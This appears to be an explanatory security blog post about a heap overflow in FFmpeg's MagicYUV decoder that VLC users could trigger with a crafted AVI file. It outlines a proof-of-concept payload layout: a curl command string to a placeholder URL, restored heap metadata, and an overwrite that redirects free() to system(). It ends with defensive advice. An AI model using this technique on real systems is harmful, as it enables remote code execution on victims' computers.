If you are watching videos via VLC Media Player and do not know much about video formats, then you should read this because you can be hacked just by opening a video.
This is not the first time a security flaw in a video player has been found that potentially lead to Remote Code Execution (RCE) – a type of attack that could allow hackers to run arbitrary code and potentially steal data from a victim’s computer. In the past, many flaws have been discovered in how video players read files MP4, MKV, and MOV. This time, the spotlight is on AVI files with MagicYUV codec.
1. What is AVI file ?
1.1. A Lossless Video Format
AVI (Audio Video Interleave) is a multimedia container format. “Container” means that it stores video, audio, subtitles, and other data together in a single file, but it does not define how the video or audio is compressed. Instead, an AVI file can contain media encoded with many different codecs, such as DivX, Xvid, MJPEG, H.264, or MagicYUV.
1.2. What is MagicYUV codec ?
MagicYUV is a lossless video codec designed for very fast encoding and decoding while keeping the video quality identical to the original. It is commonly used in professional video editors & screen recorders. Y, U, and V here represent the three components of the YUV color space – which is different from RBG color space. YUV separates an image into brightness and color information instead of Red-Blue-Green like in RBG:
- Y (Luma): The brightness or luminance of each pixel (how light or dark it appears). This carries most of the visible detail in an image.
- V (Chrominance Red): The red color difference, indicating how much redder a pixel is compared to its brightness.
- U (Chrominance Blue): The blue color difference, indicating how much bluer a pixel is compared to its brightness.
YUV color space stems from a fact that our eyes detect brightness much better than color details. For example, you can easily notice if text becomes blurry, but you probably won’t notice if its color is slightly blurred while the edges remain sharp. It means that if 4 pixels in a block 2×2 pixels use the same color, human eye won’t notice it. So that YUV format stores brightness – or the Y plane- separately in full resolution (1 value for each pixel) and compress color information – the U plane & V plane – by let each block of 4 pixels use same color. This way is called the 4:2:0 chroma subsampling format.
1.3 Why does MagicYUV is preferred in video editors ?
MagicYUV was specifically designed to be an intermediate codec for video editing, not for final video distribution. When editing video, video editors usually have to edit frame-by-frame. MagicYUV is well suited for frame-by-frame editing because it is an intra-frame codec, which means: every frame is compressed & decompressed independently.
Unlike H264 codec, where it stores video data like this: Frame 1 -> Changes from Frame 1 -> Changes from Frame 2 … , MagicYUV stores: Frame1, Frame2, Frame3, Frame4 … . Suppose an editor is editing frame 12,345:
- With: H.264 codec: The editor may first need to decode preceding keyframes and all dependent frames that leading up to frame 12,345, which requires more work.
- With MagicYUV: The editor reads and decodes only frame 12,345, so it appears almost instantly.
This is why MagicYUV is preferred when editing video, and H264 is used for the final export. The process is like this:
Record / Capture (raw data) ↓MagicYUV ↓Edit in Video Editors ↓Export to H.264 or H.265 ↓Upload to YouTube or distribute
1.4 Why does this matter here ?
Because MagicYUV compresses color data in YUV color space, it need to be decoded back to RBG color space so that computer know what colors to display. And the decoding process requires memory allocations, and that is where Buffer Overflow can happen if memory size is not calculated accurately.
2. MagicYUV Decoder
A MagicYUV video does not store raw pixels like a bitmap (BMP). Instead, each video frame is stored in a compressed format to save space. Before it can be displayed, the video player must decode it back into an image. The process looks like this:
MagicYUV Video │ ▼FFmpeg MagicYUV Decoder(Decompresses the frame) │ ▼YUV Image Buffer(Brightness + Color planes) │ ▼Color Conversion(YUV → RGB) │ ▼Bitmap / Pixel Buffer(RGB pixels) │ ▼Graphics API(DirectX, OpenGL, Metal, Vulkan) │ ▼Your Monitor
Step 1: Read the compressed video
The AVI file contains compressed MagicYUV data, not individual pixels.
Step 2: Decode the frame
FFmpeg’s MagicYUV decoder decompresses the data into memory. The result is a complete image stored as YUV color space. At this stage, the image is not yet RGB.
What is FFmpeg ?
FFmpeg is a large open-source multimedia framework that provides libraries for:
- Reading video/audio files (AVI, MP4, MKV…)
- Decoding video codecs (H.264, H.265, MagicYUV, VP9…)
- Encoding video
- Color space conversion
- Resizing images
- Audio processing
Applications like VLC, mpv, Shotcut, and many others often use FFmpeg’s libraries instead of writing their own decoders which will be time-consuming and error-prone.
Step 3: Convert YUV to RGB
Since computer’s monitors display Red, Green, and Blue pixels, FFmpeg converts the YUV image into RGB. Now the image is essentially a bitmap in memory.
Step 4: Display on screen
The RGB bitmap is sent to the operating system’s graphics system (such as DirectX, OpenGL, Metal, or Vulkan), which draws the pixels onto your screen.
Source Code
Vulnerable MagicYUV decoder source code can be found here: MagicYUV.C (version 8.1.1)
3. How does the hack happens ?
3.1 The Normal State
When VLC opens an AVI file, it does not decode the video itself. Instead, it relies on FFmpeg to process the media stream. FFmpeg has a decoder to decode and convert each video frame from YUV color space to RBG color space. Each video frame in compressed YUV color space looks like this:
MagicYUV Encoded Frame
┌─────────────────────────────────────────────────────┐
│ Frame Header │
│ • Width, Height │
│ • Pixel Format (YUV420, YUV422, YUV444, RGB...) │
│ • Bit Depth │
│ • Slice Information │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Slice 0 │
│ ┌──────────────┐ │
│ │ Compressed Y │ │
│ ├──────────────┤ │
│ │ Compressed U │ │
│ ├──────────────┤ │
│ │ Compressed V │ │
│ └──────────────┘ │
└─────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────┐
│ Slice 1 │
│ ┌──────────────┐ │
│ │ Compressed Y │ │
│ ├──────────────┤ │
│ │ Compressed U │ │
│ ├──────────────┤ │
│ │ Compressed V │ │
│ └──────────────┘ │
└─────────────────────────────────────────────────────┘
│
...
│
▼
┌─────────────────────────────────────────────────────┐
│ Slice N │
│ Compressed Y / U / V data │
└─────────────────────────────────────────────────────┘For efficiency reason, MagicYUV divides each video frame into horizontal slices so they can be decoded independently. To decode a MagicYUV encoded frame, FFmpeg uses slice_height field to calculate memory size that will contain decoded data. Problem can happen if slice_height is always trusted by the decoder but AVI files can be altered by anyone who has knowledge about AVI format. Then, an intentionally modifying at field slice_height can lead to a Heap Overflow error.
3.2 The Edge Case
When FFmpeg begins decoding a MagicYUV frame, it first reads the frame metadata, including the frame width, frame height, and the slice height. The slice_height tells the decoder how many rows of pixels are contained in each compressed slice.
For example, a video frame is 1920 × 1080 pixels, and the frame’s metadata specifies a slice_height= 8. Given that the decoder processes each frame one slice at a time. For each slice, the decoder must allocate temporary memory regions before it can decompress the compressed data into those regions. The calculation is like so:
For Slice Height = 8Allocate Y plane: 1920 × 8 pixels (a memory region)Allocate U plane: 960 × 4 pixels (another memory region)Allocate V plane: 960 × 4 pixels (another memory region)
The Y plane receives all 8 rows of pixels (full resolution) and the U and V planes store only half the slice_height , so they need only 4 rows of pixels each. (this is just how MagicYUV compress color information). The decoder then decompresses each slice conceptually like so:
for (row = 0; row < slice_height; row++) { decode_one_row(src, dst); dst += stride; // move to the next row}
Everything works correctly because the slice_height is an even number. At every decode_one_row(src, dst) call, the decoder decode compressed data (src) and write decompressed pixels to allocated memory (dst). For this example, decoder will write 8 rows of 1920 pixels after decoding Y plane, 4 rows of 960 pixels after decoding U & 4 rows of 960 pixels after decoding V planes.
Now imagine an attacker creates a MagicYUV file whose metadata declares a slice_height= 5. The decoder starts exactly the same way:
For Slice Height = 5Allocate Y plane: 1920 × 5 pixelsAllocate U plane: ?Allocate V plane: ?
In the vulnerable versions of FFmpeg, U and V were supposed to have half the height of Y without double checking before decoding. For a slice height of 5, that calculation becomes:
5 ÷ 2 = 2.5 rows
The decoder must decide whether to allocate 2 rows or 3 rows of pixels. Normally, decoder uses ceil() that will return the bigger one: 3 rows. But in vulnerable versions, there were an edge case that can end up deciding to use 2 rows. This is where attacker can exploit: they can craft an AVI file that can trigger this edge case.
By algorithm, the decoder always writes one complete row (1920 pixels for plane Y, 960 pixels for plane U &V) at a time. If the edge case makes the decoder allocates memory for only 2 rows, but later decoding operation still output 3 rows, the third row is written beyond the allocated buffer – which causes Heap Overflow error.
3.3 The Heap Overflow
Here is a PoC from a security lab that demonstrate how to craft a malicious AVI video that can exploit this edge case: MagicYUV-CVE-2026
Based on the PoC’s build_oob_payload() function and the exploit write-up, the malicious MagicYUV frame is intentionally crafted so that only the U plane contains the exploiting payload. The Y plane and V plane contain mostly valid image data so the decoder reaches the vulnerable code (the edge case) path normally.
Overall malicious frame
MagicYUV Frame (1280 × 32, YUV420P)+---------------------------------------------------------------+| Frame Header || width = 1280 || height = 32 || slice_height = 31 <-- malicious value || nb_slices = 2 |+---------------------------------------------------------------+Plane Y (1280 × 32)+---------------------------------------------------------------+| Slice 0 (31 rows) | Slice 1 (1 row) || Legitimate pixels | Legitimate pixels |+---------------------------------------------------------------+Plane U (640 × 16)+---------------------------------------------------------------+| Slice 0 (16 rows) || Normal chroma pixels |+---------------------------------------------------------------+| Slice 1 (should be 0 rows, but decoder believes 1 row exists) || *** Exploiting payload (640 bytes) *** |+---------------------------------------------------------------+Plane V (640 × 16)+---------------------------------------------------------------+| Mostly normal data |+---------------------------------------------------------------+
The 640-byte exploiting payload
The PoC constructs a payload (byte array) that is exactly one row wide:
build_oob_payload()640-byte payload┌──────────────────────────────────────────────────────────────────────┐│ Offset │├──────────────────────────────────────────────────────────────────────┤│ 0x000 ... ││ +---------------------------------------------------------------+ ││ | Command string (NUL terminated) | ││ | e.g. "curl https://some-prepared-url/\0" | ││ +---------------------------------------------------------------+ ││ ││ Remaining unused bytes stay zero (0x00) ││ │├──────────────────────────────────────────────────────────────────────┤│ Calibrated offsets* ││ +---------------------------------------------------------------+ ││ | glibc heap metadata copied back exactly | ││ | (fd, bk, size fields, etc.) | ││ +---------------------------------------------------------------+ ││ │├──────────────────────────────────────────────────────────────────────┤│ AVBuffer overwrite* ││ ││ AVBuffer structure ││ ││ refcount = 1 ││ free = system() ││ opaque = command_string_address ││ │└──────────────────────────────────────────────────────────────────────┘
In summary, the payload is assembled in three parts:
- Place the command string at the beginning of the overflow region. This is the command line that attacker wants to execute on victim computer if the exploitation is successfully executed.
- Restore glibc heap metadata so it can pass the heap consistency checks. (We will learn more about glibc in the post that explains Heap Overflow)
- Overwrite selected fields of the adjacent
AVBufferobject (refcount,free, andopaque). (We will learn more about AVBuffer object in the post that explains Heap Overflow)
When the vulnerable FFmpeg decoder reads this malicious frame, it allocates memory as usual then decodes color data into U plane, and the 640-byte payload also is decoded and then overwrite adjacent memory region, which here is region of AVBuffer .
Note that this payload aims to overwrite the pointer of function free() to pointer of function system() . As a result, when FFmpeg later calls function free() to deallocate memory as usual, the actual function is called will be system(). system() is the system API that hands the command string to the shell (usually /bin/sh) and then that shell parses and executes the command line. It’s a library wrapper that forks a process, runs the shell with -c "your command", and waits for it to finish. This is where Heap Overflow usually try to reach to: execute arbitrary command line on exploited computers.
4. How to defend ?
4.1. Use modern Operating Systems
Modern Operating Systems such as latest Window, Linux and MacOS themself include several built-in security mechanisms that make Remote Code Execution (RCE) from a Heap Overflow much harder than it was in the past.
- First, Data Execution Prevention (DEP) or NX (No-eXecute) marks heap memory as non-executable, preventing attackers from simply placing shellcode on the heap and executing it.
- Second, Address Space Layout Randomization (ASLR) randomizes the locations of the heap, libraries, and executable code each time a program starts, making it difficult to predict the addresses needed for an exploit.
- Third, Control Flow Integrity (CFI) and related defenses validate indirect function calls and returns, reducing the chance that corrupted pointers can redirect execution to attacker-controlled code.
- In addition, modern memory allocators such as glibc’s ptmalloc include integrity checks and metadata protections that detect many forms of heap corruption before they can be exploited.
Together, these built up layers of defenses that requires a Heap Overflow exploitation to bypass all at once, making RCE nearly impossible to happen inside a modern operating system.
4.2. Upgrade Related Softwares
Because FFmpeg is an open-source framework and is embedded in hundreds of applications, a vulnerability in FFmpeg can affect a wide range of software that processes audio or video files. Potential cases include:
- Media Players
- Video Editing Softwares,
- Streaming and Conferencing Applications
- Browsers
Although RCE won’t happen easily, the chance is not 0%. While the chance can be 0.1%, we should not let our guard down. To mitigate as much as possible security risks from Zero Day flaw in media files, we need to:
- Update applications that has FFmpeg embeded to latest versions.
- For some softwares utilize self-installed FFmpeg module, upgrade that self-installed FFmpeg to latest versions as soon as possible.
4.3 Verify source of media files as carefully as EXE files
Media files should be treated with the same level of caution as executable files. Modern multimedia formats are highly complex and require parsers and decoders that process large amounts of untrusted data.
A maliciously crafted image, audio, or video file can exploit vulnerabilities in these parsers, allowing arbitrary code execution without the user intentionally running a program.
Therefore, users should only:
- Open media files obtained from trusted sources,
- Verify their authenticity whenever possible, and
- Avoid opening unexpected attachments or files downloaded from untrusted websites.
Treating media files as potentially executable content significantly reduces the risk of exploitation through multimedia codec vulnerabilities.
5. What can we learn from this ?
5.1. Not every hacks look simple
Many successful cyberattacks are the result of years of:
- research into operating systems,
- memory management,
- programming languages, and
- software internals.
Unlike popular misconceptions that hackers only need to type a few commands to gain access to a system, real-world attacks often require discovering:
- subtle software flaws,
- bypassing multiple security mitigations, and then,
- carefully crafting inputs that behave differently at each stage of execution.
The MagicYUV vulnerability demonstrates that a single exploit may involve detailed knowledge of multimedia codecs, heap allocation, CPU architecture, and operating system defenses before arbitrary code execution becomes possible.
5.2. High-skilled hack does not mean high-success rate
A technically sophisticated exploit does not necessarily translate into a large-scale attack. Many advanced exploits rely on:
- specific software versions,
- specific operating systems,
- specific memory layouts, or
- specific application configurations.
Security mechanisms such as ASLR, DEP, CFI, and timely software updates reduce the success rate of exploitation. Consequently, although developing such an exploit requires super expertise, reliably deploying it against a broad range of targets is often much more difficult.
5.3. Every file formats can contain security flaws
Security vulnerabilities are not limited to executable files. Any file format processed by complex software, including images, videos, audio, documents, fonts, archives, and even subtitles, can potentially contain malformed data that triggers implementation bugs. The vulnerability discussed in this post originated from a specially crafted video frame rather than executable code.
This highlights that the security of a system depends not only on the file type itself but also on the correctness and robustness of the software that parses it. Therefore, developers should treat all external file formats as untrusted input and implement secure parsing practices accordingly.